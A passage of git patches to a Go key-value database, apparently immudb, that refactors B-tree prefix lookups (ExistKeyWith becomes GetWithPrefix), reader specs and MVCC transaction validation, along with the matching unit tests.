SQLStmt - Resolve(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) + Resolve(tx *SQLTx, params map[string]interface{}, scanSpecs *ScanSpecs) (RowReader, error) Alias() string } @@ -3665,7 +3665,7 @@ func (stmt *FnDataSourceStmt) Resolve(tx *SQLTx, params map[string]interface{}, return nil, fmt.Errorf("%w (%s)", ErrFunctionDoesNotExist, stmt.fnCall.fn) } -func (stmt *FnDataSourceStmt) resolveListDatabases(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (rowReader RowReader, err error) { +func (stmt *FnDataSourceStmt) resolveListDatabases(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { if len(stmt.fnCall.params) > 0 { return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, DatabasesFnCall, len(stmt.fnCall.params)) } @@ -3700,7 +3700,7 @@ func (stmt *FnDataSourceStmt) resolveListDatabases(tx *SQLTx, params map[string] return newValuesRowReader(tx, cols, "*", stmt.Alias(), values) } -func (stmt *FnDataSourceStmt) resolveListTables(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (rowReader RowReader, err error) { +func (stmt *FnDataSourceStmt) resolveListTables(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (rowReader RowReader, err error) { if len(stmt.fnCall.params) > 0 { return nil, fmt.Errorf("%w: function '%s' expect no parameters but %d were provided", ErrIllegalArguments, TablesFnCall, len(stmt.fnCall.params)) } @@ -3724,7 +3724,7 @@ func (stmt *FnDataSourceStmt) resolveListTables(tx *SQLTx, params map[string]int return newValuesRowReader(tx, cols, db.name, stmt.Alias(), values) } -func (stmt *FnDataSourceStmt) resolveListColumns(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { +func (stmt *FnDataSourceStmt) resolveListColumns(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { if len(stmt.fnCall.params) != 1 { return nil, fmt.Errorf("%w: function '%s' expect table name as parameter", ErrIllegalArguments, ColumnsFnCall) } @@ -3819,7 +3819,7 @@ func (stmt *FnDataSourceStmt) resolveListColumns(tx *SQLTx, params map[string]in return newValuesRowReader(tx, cols, table.db.name, stmt.Alias(), values) } -func (stmt *FnDataSourceStmt) resolveListIndexes(tx *SQLTx, params map[string]interface{}, ScanSpecs *ScanSpecs) (RowReader, error) { +func (stmt *FnDataSourceStmt) resolveListIndexes(tx *SQLTx, params map[string]interface{}, _ *ScanSpecs) (RowReader, error) { if len(stmt.fnCall.params) != 1 { return nil, fmt.Errorf("%w: function '%s' expect table name as parameter", ErrIllegalArguments, IndexesFnCall) } From 1927f64c4018d60a683bb8b1df537088583eede9 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 10 Dec 2022 01:53:00 -0300 Subject: [PATCH 0051/1062] chore(embedded/tbtree): getWithPrefix Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/consistency_error_test.go | 15 +++++++++ embedded/tbtree/metrics.go | 18 +++++++++- embedded/tbtree/reader.go | 21 ++++++------ embedded/tbtree/reader_test.go | 28 ++++++++-------- embedded/tbtree/snapshot.go | 25 +++++++------- embedded/tbtree/snapshot_test.go | 16 ++++----- embedded/tbtree/tbtree.go | 40 ++++++++++++++++------- embedded/tbtree/tbtree_test.go | 33 +++++++++---------- 8 files changed, 120 insertions(+), 76 deletions(-) diff --git a/embedded/tbtree/consistency_error_test.go b/embedded/tbtree/consistency_error_test.go index ebe2f6cb7d..3f82fb0c3d 100644 --- a/embedded/tbtree/consistency_error_test.go +++ b/embedded/tbtree/consistency_error_test.go @@ -1,3 +1,18 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package tbtree import ( diff --git a/embedded/tbtree/metrics.go b/embedded/tbtree/metrics.go index 252749aff5..0edb18946a 100644 --- a/embedded/tbtree/metrics.go +++ b/embedded/tbtree/metrics.go @@ -1,3 +1,18 @@ +/* +Copyright 2022 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ package tbtree import ( @@ -6,7 +21,8 @@ import ( ) // TODO: Those should be put behind abstract metrics system to avoid dependency on -// prometheus inside embedded package +// +// prometheus inside embedded package var metricsFlushedNodesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_flushed_nodes_last_cycle", Help: "Numbers of btree nodes written to disk during the last flush process", diff --git a/embedded/tbtree/reader.go b/embedded/tbtree/reader.go index 333551d563..69220a3c7e 100644 --- a/embedded/tbtree/reader.go +++ b/embedded/tbtree/reader.go @@ -18,6 +18,7 @@ package tbtree import ( "bytes" + "errors" ) type Reader struct { @@ -50,15 +51,11 @@ type ReaderSpec struct { } func (r *Reader) Reset() error { - path, startingLeaf, startingOffset, err := r.snapshot.root.findLeafNode(r.seekKey, nil, 0, nil, r.descOrder) - if err != nil { - return err + if r.closed { + return ErrAlreadyClosed } - r.path = path - r.leafNode = startingLeaf - r.leafOffset = startingOffset - r.skipped = 0 + r.leafNode = nil return nil } @@ -70,7 +67,7 @@ func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, ts, hc uint if r.leafNode == nil { path, startingLeaf, startingOffset, err := r.snapshot.root.findLeafNode(r.seekKey, nil, 0, nil, r.descOrder) - if err == ErrKeyNotFound { + if errors.Is(err, ErrKeyNotFound) { return nil, 0, 0, ErrNoMoreEntries } if err != nil { @@ -80,6 +77,7 @@ func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, ts, hc uint r.path = path r.leafNode = startingLeaf r.leafOffset = startingOffset + r.skipped = 0 } for { @@ -98,7 +96,7 @@ func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, ts, hc uint path, leaf, off, err := parent.node.findLeafNode(r.seekKey, parentPath, parent.offset+1, nil, r.descOrder) - if err == ErrKeyNotFound { + if errors.Is(err, ErrKeyNotFound) { r.path = r.path[:len(r.path)-1] continue } @@ -163,7 +161,7 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { if r.leafNode == nil { path, startingLeaf, startingOffset, err := r.snapshot.root.findLeafNode(r.seekKey, nil, 0, nil, r.descOrder) - if err == ErrKeyNotFound { + if errors.Is(err, ErrKeyNotFound) { return nil, nil, 0, 0, ErrNoMoreEntries } if err != nil { @@ -173,6 +171,7 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { r.path = path r.leafNode = startingLeaf r.leafOffset = startingOffset + r.skipped = 0 } for { @@ -191,7 +190,7 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { path, leaf, off, err := parent.node.findLeafNode(r.seekKey, parentPath, parent.offset+1, nil, r.descOrder) - if err == ErrKeyNotFound { + if errors.Is(err, ErrKeyNotFound) { r.path = r.path[:len(r.path)-1] continue } diff --git a/embedded/tbtree/reader_test.go b/embedded/tbtree/reader_test.go index 71e6b2703c..b3dc8435d8 100644 --- a/embedded/tbtree/reader_test.go +++ b/embedded/tbtree/reader_test.go @@ -33,7 +33,7 @@ func TestReaderForEmptyTreeShouldReturnError(t *testing.T) { require.NoError(t, err) defer snapshot.Close() - r, err := snapshot.NewReader(&ReaderSpec{SeekKey: []byte{0, 0, 0, 0}, DescOrder: false}) + r, err := snapshot.NewReader(ReaderSpec{SeekKey: []byte{0, 0, 0, 0}, DescOrder: false}) require.NoError(t, err) _, _, _, _, err = r.Read() @@ -51,9 +51,6 @@ func TestReaderWithInvalidSpec(t *testing.T) { require.NotNil(t, snapshot) require.NoError(t, err) defer snapshot.Close() - - _, err = snapshot.NewReader(nil) - require.ErrorIs(t, err, ErrIllegalArguments) } func TestReaderAscendingScan(t *testing.T) { @@ -76,7 +73,7 @@ func TestReaderAscendingScan(t *testing.T) { require.NoError(t, err) }() - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: []byte{0, 0, 0, 250}, Prefix: []byte{0, 0, 0, 250}, DescOrder: false, @@ -103,6 +100,9 @@ func TestReaderAscendingScan(t *testing.T) { _, _, _, _, err = reader.Read() require.ErrorIs(t, err, ErrAlreadyClosed) + err = reader.Reset() + require.ErrorIs(t, err, ErrAlreadyClosed) + err = reader.Close() require.ErrorIs(t, err, ErrAlreadyClosed) } @@ -127,7 +127,7 @@ func TestReaderAscendingScanWithEndingKey(t *testing.T) { require.NoError(t, err) }() - rspec := &ReaderSpec{ + rspec := ReaderSpec{ EndKey: []byte{0, 0, 0, 100}, InclusiveEnd: true, Prefix: []byte{0, 0, 0}, @@ -185,7 +185,7 @@ func TestReaderAscendingScanAsBefore(t *testing.T) { require.NoError(t, err) }() - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: []byte{0, 0, 0, 250}, Prefix: []byte{0, 0, 0, 250}, DescOrder: false, @@ -245,7 +245,7 @@ func TestReaderAsBefore(t *testing.T) { require.NoError(t, err) }() - rspec := &ReaderSpec{ + rspec := ReaderSpec{ Prefix: key, } reader, err := snapshot.NewReader(rspec) @@ -281,7 +281,7 @@ func TestReaderAscendingScanWithoutSeekKey(t *testing.T) { require.NoError(t, err) }() - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: nil, Prefix: []byte{0, 0, 0, 250}, DescOrder: false, @@ -336,7 +336,7 @@ func TestReaderDescendingScan(t *testing.T) { prefixKey := make([]byte, 3) prefixKey[2] = 1 - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: seekKey, Prefix: prefixKey, DescOrder: true, @@ -385,7 +385,7 @@ func TestReaderDescendingScanAsBefore(t *testing.T) { prefixKey := make([]byte, 3) prefixKey[2] = 1 - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: seekKey, Prefix: prefixKey, DescOrder: true, @@ -436,7 +436,7 @@ func TestReaderDescendingWithoutSeekKeyScan(t *testing.T) { prefixKey := make([]byte, 3) prefixKey[2] = 1 - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: nil, Prefix: prefixKey, DescOrder: true, @@ -481,7 +481,7 @@ func TestFullScanAscendingOrder(t *testing.T) { require.Equal(t, uint64(keyCount), snapshot.Ts()) defer snapshot.Close() - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: nil, Prefix: nil, DescOrder: false, @@ -518,7 +518,7 @@ func TestFullScanDescendingOrder(t *testing.T) { require.NoError(t, err) defer snapshot.Close() - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: []byte{255, 255, 255, 255}, Prefix: nil, DescOrder: true, diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index d7ccac33ec..cd7fd912ea 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -123,29 +123,30 @@ func (s *Snapshot) Ts() uint64 { return s.root.ts() } -func (s *Snapshot) ExistKeyWith(prefix []byte, neq []byte) (bool, error) { +func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, ts uint64, hc uint64, err error) { s.mutex.RLock() defer s.mutex.RUnlock() if s.closed { - return false, ErrAlreadyClosed + return nil, nil, 0, 0, ErrAlreadyClosed } _, leaf, off, err := s.root.findLeafNode(prefix, nil, 0, neq, false) - if err == ErrKeyNotFound { - return false, nil - } if err != nil { - return false, err + return nil, nil, 0, 0, err } - v := leaf.values[off] + leafValue := leaf.values[off] + + if len(prefix) > len(leafValue.key) { + return nil, nil, 0, 0, ErrKeyNotFound + } - if len(prefix) > len(v.key) { - return false, nil + if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { + return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil } - return bytes.Equal(prefix, v.key[:len(prefix)]), nil + return nil, nil, 0, 0, ErrKeyNotFound } func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, error) { @@ -167,7 +168,7 @@ func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, er return reader, nil } -func (s *Snapshot) NewReader(spec *ReaderSpec) (r *Reader, err error) { +func (s *Snapshot) NewReader(spec ReaderSpec) (r *Reader, err error) { s.mutex.Lock() defer s.mutex.Unlock() @@ -175,7 +176,7 @@ func (s *Snapshot) NewReader(spec *ReaderSpec) (r *Reader, err error) { return nil, ErrAlreadyClosed } - if spec == nil || len(spec.SeekKey) > s.t.maxKeySize || len(spec.Prefix) > s.t.maxKeySize { + if len(spec.SeekKey) > s.t.maxKeySize || len(spec.Prefix) > s.t.maxKeySize { return nil, ErrIllegalArguments } diff --git a/embedded/tbtree/snapshot_test.go b/embedded/tbtree/snapshot_test.go index c2936d9ed1..6069efa9e3 100644 --- a/embedded/tbtree/snapshot_test.go +++ b/embedded/tbtree/snapshot_test.go @@ -95,9 +95,6 @@ func TestSnapshotClosing(t *testing.T) { snapshot, err := tbtree.Snapshot() require.NoError(t, err) - _, err = snapshot.NewReader(nil) - require.ErrorIs(t, err, ErrIllegalArguments) - err = snapshot.Close() require.NoError(t, err) @@ -110,10 +107,10 @@ func TestSnapshotClosing(t *testing.T) { _, _, err = snapshot.History([]byte{}, 0, false, 1) require.ErrorIs(t, err, ErrAlreadyClosed) - _, err = snapshot.ExistKeyWith([]byte{}, nil) + _, _, _, _, err = snapshot.GetWithPrefix([]byte{}, nil) require.ErrorIs(t, err, ErrAlreadyClosed) - _, err = snapshot.NewReader(nil) + _, err = snapshot.NewReader(ReaderSpec{}) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = snapshot.NewHistoryReader(nil) @@ -166,13 +163,12 @@ func TestSnapshotIsolation(t *testing.T) { _, _, _, err = snap2.Get([]byte("key1")) require.NoError(t, err) - exists, err := snap1.ExistKeyWith([]byte("key"), nil) + _, _, ts, _, err := snap1.GetWithPrefix([]byte("key"), nil) require.NoError(t, err) - require.True(t, exists) + require.NotZero(t, ts) - exists, err = snap1.ExistKeyWith([]byte("key3"), []byte("key3")) - require.NoError(t, err) - require.False(t, exists) + _, _, _, _, err = snap1.GetWithPrefix([]byte("key3"), []byte("key3")) + require.ErrorIs(t, err, ErrKeyNotFound) }) err = tbtree.Insert([]byte("key2"), []byte("value2")) diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 01c472007e..6d7733ceab 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -957,31 +957,32 @@ func (t *TBtree) History(key []byte, offset uint64, descOrder bool, limit int) ( return t.root.history(key, offset, descOrder, limit) } -func (t *TBtree) ExistKeyWith(prefix []byte, neq []byte) (bool, error) { +func (t *TBtree) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, ts uint64, hc uint64, err error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() if t.closed { - return false, ErrAlreadyClosed + return nil, nil, 0, 0, ErrAlreadyClosed } path, leaf, off, err := t.root.findLeafNode(prefix, nil, 0, neq, false) - if err == ErrKeyNotFound { - return false, nil - } if err != nil { - return false, err + return nil, nil, 0, 0, err } metricsBtreeDepth.WithLabelValues(t.path).Set(float64(len(path) + 1)) - v := leaf.values[off] + leafValue := leaf.values[off] + + if len(prefix) > len(leafValue.key) { + return nil, nil, 0, 0, ErrKeyNotFound + } - if len(prefix) > len(v.key) { - return false, nil + if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { + return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil } - return bytes.Equal(prefix, v.key[:len(prefix)]), nil + return nil, nil, 0, 0, ErrKeyNotFound } func (t *TBtree) Sync() error { @@ -1654,6 +1655,23 @@ func (t *TBtree) Ts() uint64 { return t.root.ts() } +func (t *TBtree) RSnapshot() (*Snapshot, error) { + t.rwmutex.RLock() + defer t.rwmutex.RUnlock() + + if t.closed { + return nil, ErrAlreadyClosed + } + + return &Snapshot{ + t: t, + ts: t.root.ts(), + root: t.root, + readers: make(map[int]io.Closer), + _buf: make([]byte, t.maxNodeSize), + }, nil +} + func (t *TBtree) Snapshot() (*Snapshot, error) { return t.SnapshotSince(0) } @@ -1816,7 +1834,7 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey } path, leafNode, off, err := n.nodes[i].findLeafNode(keyPrefix, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) - if err == ErrKeyNotFound { + if errors.Is(err, ErrKeyNotFound) { continue } diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 9d257e9d99..b823bfc303 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -357,9 +357,8 @@ func monotonicInsertions(t *testing.T, tbtree *TBtree, itCount int, kCount int, } if j == kCount-1 { - exists, err := tbtree.ExistKeyWith(k, k) - require.NoError(t, err) - require.False(t, exists) + _, _, _, _, err := tbtree.GetWithPrefix(k, k) + require.ErrorIs(t, err, ErrKeyNotFound) } if i%2 == 1 { @@ -446,11 +445,9 @@ func randomInsertions(t *testing.T, tbtree *TBtree, kCount int, override bool) { for { _, _, _, err = snapshot.Get(k) - if err == ErrKeyNotFound { - - exists, err := tbtree.ExistKeyWith(k, nil) - require.NoError(t, err) - require.False(t, exists) + if errors.Is(err, ErrKeyNotFound) { + _, _, _, _, err := tbtree.GetWithPrefix(k, nil) + require.ErrorIs(t, err, ErrKeyNotFound) break } @@ -469,9 +466,12 @@ func randomInsertions(t *testing.T, tbtree *TBtree, kCount int, override bool) { err := tbtree.Insert(k, v) require.NoError(t, err) - exists, err := tbtree.ExistKeyWith(k, nil) + k1, v1, ts1, hc1, err := tbtree.GetWithPrefix(k, nil) require.NoError(t, err) - require.True(t, exists) + require.Equal(t, k, k1) + require.Equal(t, v, v1) + require.NotZero(t, ts1) + require.NotZero(t, hc1) v0, ts0, hc0, err := tbtree.Get(k) require.NoError(t, err) @@ -491,7 +491,7 @@ func randomInsertions(t *testing.T, tbtree *TBtree, kCount int, override bool) { snapshotTs := snapshot.Ts() require.Equal(t, ts, snapshotTs) - v1, ts1, hc1, err := snapshot.Get(k) + v1, ts1, hc1, err = snapshot.Get(k) require.NoError(t, err) require.Equal(t, v, v1) require.Equal(t, ts, ts1) @@ -931,9 +931,8 @@ func TestTBTreeInsertionInAscendingOrder(t *testing.T) { _, _, err = tbtree.History([]byte("key"), 0, false, 0) require.ErrorIs(t, err, ErrIllegalArguments) - exists, err := tbtree.ExistKeyWith([]byte("key"), []byte("longerkey")) - require.NoError(t, err) - require.False(t, exists) + _, _, _, _, err = tbtree.GetWithPrefix([]byte("key"), []byte("longerkey")) + require.ErrorIs(t, err, ErrKeyNotFound) err = tbtree.Close() require.NoError(t, err) @@ -950,7 +949,7 @@ func TestTBTreeInsertionInAscendingOrder(t *testing.T) { _, _, _, err = tbtree.Get([]byte("key")) require.ErrorIs(t, err, ErrAlreadyClosed) - _, err = tbtree.ExistKeyWith([]byte("key"), nil) + _, _, _, _, err = tbtree.GetWithPrefix([]byte("key"), nil) require.ErrorIs(t, err, ErrAlreadyClosed) err = tbtree.Sync() @@ -997,7 +996,7 @@ func TestTBTreeInsertionInDescendingOrder(t *testing.T) { require.NotNil(t, snapshot) require.NoError(t, err) - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: []byte{}, Prefix: nil, DescOrder: false, @@ -1075,7 +1074,7 @@ func TestRandomInsertionWithConcurrentReaderOrder(t *testing.T) { require.NotNil(t, snapshot) require.NoError(t, err) - rspec := &ReaderSpec{ + rspec := ReaderSpec{ SeekKey: []byte{}, Prefix: nil, DescOrder: false, From da70332697e71207c3792ae77e3ad6695d388745 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 10 Dec 2022 01:55:58 -0300 Subject: [PATCH 0052/1062] chore(embedded/store): mvcc validations Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 77 ++++------ embedded/store/immustore_test.go | 60 ++++---- embedded/store/indexer.go | 6 +- embedded/store/indexer_test.go | 6 +- embedded/store/key_reader.go | 76 ++++++---- embedded/store/key_reader_test.go | 15 +- embedded/store/ongoing_tx.go | 192 +++++++++++++++++++++++-- embedded/store/ongoing_tx_keyreader.go | 109 ++++++++++++++ embedded/store/ongoing_tx_test.go | 36 ++--- embedded/store/preconditions.go | 2 +- 10 files changed, 420 insertions(+), 159 deletions(-) create mode 100644 embedded/store/ongoing_tx_keyreader.go diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index efa87f593f..77cf83efd7 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -688,15 +688,11 @@ func (s *ImmuStore) IndexInfo() uint64 { return s.indexer.Ts() } -func (s *ImmuStore) ExistKeyWith(prefix []byte, neq []byte) (bool, error) { - return s.indexer.ExistKeyWith(prefix, neq) -} - func (s *ImmuStore) Get(key []byte) (valRef ValueRef, err error) { - return s.GetWith(key, IgnoreExpired, IgnoreDeleted) + return s.GetWithFilters(key, IgnoreExpired, IgnoreDeleted) } -func (s *ImmuStore) GetWith(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { +func (s *ImmuStore) GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) { indexedVal, tx, hc, err := s.indexer.Get(key) if err != nil { return nil, err @@ -723,6 +719,20 @@ func (s *ImmuStore) GetWith(key []byte, filters ...FilterFn) (valRef ValueRef, e return valRef, nil } +func (s *ImmuStore) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { + key, indexedVal, tx, hc, err := s.indexer.GetWithPrefix(prefix, neq) + if err != nil { + return nil, nil, err + } + + valRef, err = s.valueRefFrom(tx, hc, indexedVal) + if err != nil { + return nil, nil, err + } + + return key, valRef, nil +} + func (s *ImmuStore) History(key []byte, offset uint64, descOrder bool, limit int) (txs []uint64, hCount uint64, err error) { return s.indexer.History(key, offset, descOrder, limit) } @@ -1103,44 +1113,6 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) return nil, err } - if otx.hasPreconditions() { - // First check is performed on the currently committed transaction. - // It may happen that between now and the commit of this change there are - // more transactions happening. This check though will prevent acquiring - // the write lock and putting garbage into appendables if we can already - // determine that preconditions are not met. - - // A corner case is if the DB fails to meet preconditions now but would fulfill - // those during final commit phase - but in such case, we are allowed to reason - // about the DB state in any point in time between both checks thus it is still - // valid to fail precondition check. - - err = s.WaitForIndexingUpto(s.lastPrecommittedTxID(), nil) - if err != nil { - return nil, err - } - - err = otx.checkPreconditions(s) - if err != nil { - return nil, err - } - } - - // early check to reduce amount of garbage when tx is not finally committed - s.mutex.Lock() - - if s.closed { - s.mutex.Unlock() - return nil, ErrAlreadyClosed - } - - if !otx.IsWriteOnly() && otx.snap.Ts() <= s.lastPrecommittedTxID() { - s.mutex.Unlock() - return nil, ErrTxReadConflict - } - - s.mutex.Unlock() - tx, err := s.fetchAllocTx() if err != nil { return nil, err @@ -1253,10 +1225,6 @@ func (s *ImmuStore) precommit(otx *OngoingTx, hdr *TxHeader) (*TxHeader, error) } } - if !otx.IsWriteOnly() && otx.snap.Ts() <= currPrecomittedTxID { - return nil, ErrTxReadConflict - } - if otx.hasPreconditions() { // Preconditions must be executed with up-to-date tree err = s.WaitForIndexingUpto(currPrecomittedTxID, nil) @@ -1653,7 +1621,8 @@ func (s *ImmuStore) CommitWith(callback func(txID uint64, index KeyIndex) ([]*En type KeyIndex interface { Get(key []byte) (valRef ValueRef, err error) - GetWith(key []byte, filters ...FilterFn) (valRef ValueRef, err error) + GetWithFilters(key []byte, filters ...FilterFn) (valRef ValueRef, err error) + GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) } type unsafeIndex struct { @@ -1661,11 +1630,15 @@ type unsafeIndex struct { } func (index *unsafeIndex) Get(key []byte) (ValueRef, error) { - return index.GetWith(key, IgnoreDeleted) + return index.GetWithFilters(key, IgnoreDeleted) +} + +func (index *unsafeIndex) GetWithFilters(key []byte, filters ...FilterFn) (ValueRef, error) { + return index.st.GetWithFilters(key, filters...) } -func (index *unsafeIndex) GetWith(key []byte, filters ...FilterFn) (ValueRef, error) { - return index.st.GetWith(key, filters...) +func (index *unsafeIndex) GetWithPrefix(prefix []byte, neq []byte) (key []byte, valRef ValueRef, err error) { + return index.st.GetWithPrefix(prefix, neq) } func (s *ImmuStore) preCommitWith(callback func(txID uint64, index KeyIndex) ([]*EntrySpec, []Precondition, error)) (*TxHeader, error) { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 5cdb9c4613..08b84b7ca7 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -45,6 +45,10 @@ import ( ) func immustoreClose(t *testing.T, immuStore *ImmuStore) { + if immuStore.IsClosed() { + return + } + err := immuStore.Close() if !t.Failed() { require.NoError(t, err) @@ -1017,13 +1021,13 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx.Get([]byte{1, 2, 3}) require.ErrorIs(t, err, ErrWriteOnlyTx) - _, err = tx.ExistKeyWith([]byte{1}, []byte{1}) + _, _, err = tx.GetWithPrefix([]byte{1}, []byte{1}) require.ErrorIs(t, err, ErrWriteOnlyTx) err = tx.Delete([]byte{1, 2, 3}) require.ErrorIs(t, err, ErrWriteOnlyTx) - _, err = tx.NewKeyReader(&KeyReaderSpec{}) + _, err = tx.NewKeyReader(KeyReaderSpec{}) require.ErrorIs(t, err, ErrWriteOnlyTx) _, err = tx.Commit() @@ -1032,7 +1036,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx.Set([]byte{1, 2, 3}, nil, []byte{3, 2, 1, 0}) require.ErrorIs(t, err, ErrAlreadyClosed) - _, err = tx.NewKeyReader(&KeyReaderSpec{}) + _, err = tx.NewKeyReader(KeyReaderSpec{}) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = tx.Commit() @@ -1085,11 +1089,12 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = tx.Set([]byte("key1"), nil, []byte("value1")) require.NoError(t, err) - exists, err := tx.ExistKeyWith([]byte("key1"), []byte("key")) + key, valRef, err := tx.GetWithPrefix([]byte("key1"), []byte("key")) require.NoError(t, err) - require.True(t, exists) + require.NotNil(t, key) + require.NotNil(t, valRef) - r, err := tx.NewKeyReader(&KeyReaderSpec{Prefix: []byte("key")}) + r, err := tx.NewKeyReader(KeyReaderSpec{Prefix: []byte("key")}) require.NoError(t, err) require.NotNil(t, r) @@ -1103,7 +1108,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { err = r.Close() require.NoError(t, err) - valRef, err := tx.Get([]byte("key1")) + valRef, err = tx.Get([]byte("key1")) require.NoError(t, err) require.Equal(t, uint64(0), valRef.Tx()) require.Equal(t, uint64(1), valRef.HC()) @@ -1122,7 +1127,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { _, err = tx.Commit() require.NoError(t, err) - _, err = tx.ExistKeyWith([]byte("key1"), []byte("key1")) + _, _, err = tx.GetWithPrefix([]byte("key1"), []byte("key1")) require.ErrorIs(t, err, ErrAlreadyClosed) valRef, err = immuStore.Get([]byte("key1")) @@ -1135,7 +1140,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.Equal(t, []byte("value1"), v) }) - t.Run("second ongoing tx after the first commit should fail", func(t *testing.T) { + t.Run("second ongoing tx after the first commit should succeed", func(t *testing.T) { tx1, err := immuStore.NewTx() require.NoError(t, err) @@ -1152,19 +1157,19 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) _, err = tx2.Commit() - require.ErrorIs(t, err, ErrTxReadConflict) + require.NoError(t, err) valRef, err := immuStore.Get([]byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) - require.Equal(t, uint64(3), valRef.Tx()) + require.Equal(t, uint64(4), valRef.Tx()) v, err := valRef.Resolve() require.NoError(t, err) - require.Equal(t, []byte("value1_tx1"), v) + require.Equal(t, []byte("value1_tx2"), v) }) - t.Run("second ongoing tx with multiple entries after the first commit should fail", func(t *testing.T) { + t.Run("second ongoing tx with multiple entries after the first commit should succeed", func(t *testing.T) { tx1, err := immuStore.NewTx() require.NoError(t, err) @@ -1184,16 +1189,16 @@ func TestImmudbStoreRWTransactions(t *testing.T) { require.NoError(t, err) _, err = tx2.Commit() - require.ErrorIs(t, err, ErrTxReadConflict) + require.NoError(t, err) valRef, err := immuStore.Get([]byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) - require.Equal(t, uint64(4), valRef.Tx()) + require.Equal(t, uint64(6), valRef.Tx()) v, err := valRef.Resolve() require.NoError(t, err) - require.Equal(t, []byte("value1_tx1"), v) + require.Equal(t, []byte("value1_tx2"), v) }) t.Run("second ongoing tx after the first cancellation should succeed", func(t *testing.T) { @@ -1218,7 +1223,7 @@ func TestImmudbStoreRWTransactions(t *testing.T) { valRef, err := immuStore.Get([]byte("key1")) require.NoError(t, err) require.NotNil(t, valRef) - require.Equal(t, uint64(5), valRef.Tx()) + require.Equal(t, uint64(7), valRef.Tx()) v, err := 